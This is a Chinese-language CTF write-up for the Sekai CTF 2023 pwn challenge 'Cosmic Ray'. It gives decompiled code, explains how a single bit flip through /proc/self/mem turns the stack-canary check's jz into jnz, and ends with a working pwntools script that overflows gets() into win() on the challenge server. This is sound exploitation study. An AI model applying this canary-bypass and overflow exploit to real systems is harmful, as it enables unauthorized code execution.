Sekai CTF 2023 Writeup 周末都在 AIS3 Club,賽中只解出 Cosmic Ray
Cosmic Ray 
用 IDA 打開後發現有 buffer overflow,但有開 canary,所以要想辦法 leak 或讓它壞掉 有給一個 win(),會直接輸出 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int  __cdecl main (int  argc, const  char  **argv, const  char  **envp) {   __int64 v3;    int  result;    __int64 addr;    __int64 v6;    unsigned  __int64 v7;    __int64 v8;    __asm { endbr64 }   v8 = v3;   v7 = __readfsqword(0x28u );   setbuf_0(_bss_start, 0LL , envp);   puts_0("Welcome to my revolutionary new cosmic ray machine!" );   puts_0("Give me any address in memory and I'll send a cosmic ray through it:" );   scanf ("0x%lx" , &addr);   getchar_0("0x%lx" , &addr);   cosmic_ray((__int64)&v8, addr);   puts_0("Please write a review of your experience today:" );   gets_0(&v6);   result = 0 ;   __readfsqword(0x28u );   return  result; } 
 
跟進去 cosmic_ray(),發現它會把我們給的 address 裡的資料取出來,可以選擇翻轉其中 1 bit 再把資料寫回去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 unsigned  __int64 __usercall cosmic_ray@<rax>(__int64 a1@<rbp>, __int64 addr@<rdi>){   __int64 v2;    int  idx;    signed  int  i;    unsigned  int  v6;    _BYTE *bin_arr;    __int64 v8;    __int16 v9;    unsigned  __int64 v10;    __int64 v11;    __asm { endbr64 }   v11 = a1;   v10 = __readfsqword(0x28u );   v6 = open_0("/proc/self/mem" , 2LL );   lseek_0(v6, addr, 0LL );   read_0(v6, &v9, 1LL );   bin_arr = get_bin(v9);   puts_0("\n|0|1|2|3|4|5|6|7|" );   printf_0();   for  ( i = 0 ; i <= 7 ; ++i )   {     v2 = (unsigned  int )(char )bin_arr[i];     printf_0();   }   puts_0("\n\nEnter a bit position to flip (0-7):" );   scanf ("%d" , &idx);   getchar_0("%d" , &idx);   if  ( idx < 0  || idx > 7  )     exit_0(1LL );   v8 = flip_bit((__int64)bin_arr, idx);   HIBYTE(v9) = binary_to_byte((__int64)&v11, v8);   printf_0();   lseek_0(v6, addr, 0LL );   write_0();   return  v10 - __readfsqword(0x28u ); } 
 
看了 flit_bit() 與 binary_to_byte() 都沒發現漏洞,後面也沒有發現可以做 leak 的地方 由於它是 Partial RELRO 的關係,有想到透過 GOT Hijacking 來把 puts() gets() __stack_check_fail() 其中一個的 GOT 寫成 win(),但用 gdb 看一下發現地址差得有點多,無法只透過翻 1 bit 來改成 win()
回去看 cosmic_ray() 發現它是透過讀寫 /proc/self/mem 來完成操作的,之前打 Google CTF 2023 時有遇到一題 write-flag-where 也是類似的作法,由於讀寫 /proc/self/mem 可以無視 pages 的權限,所以可以更改 .text 段的內容。
這邊可以將 jz(opcode = 0x74) 寫成 jnz(opcode = 0x75),使程式不呼叫 __stack_check_fail() 來通過檢查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from  pwn import  *context.arch = 'amd64'  context.log_level = 'debug'  context.terminal = ['tmux' , 'splitw' , '-h' ] p = remote('chals.sekai.team' , 4077 ) elf = ELF('./cosmicray' ) win = elf.symbols['win' ] p.recvuntil(b':\n' ) p.sendline(hex (0x4016f4 )) p.recvuntil(b':\n' ) p.sendline(b'7' ) p.recvuntil(b':' ) p.sendline(b'a'  * 0x38  + p64(win)) p.interactive()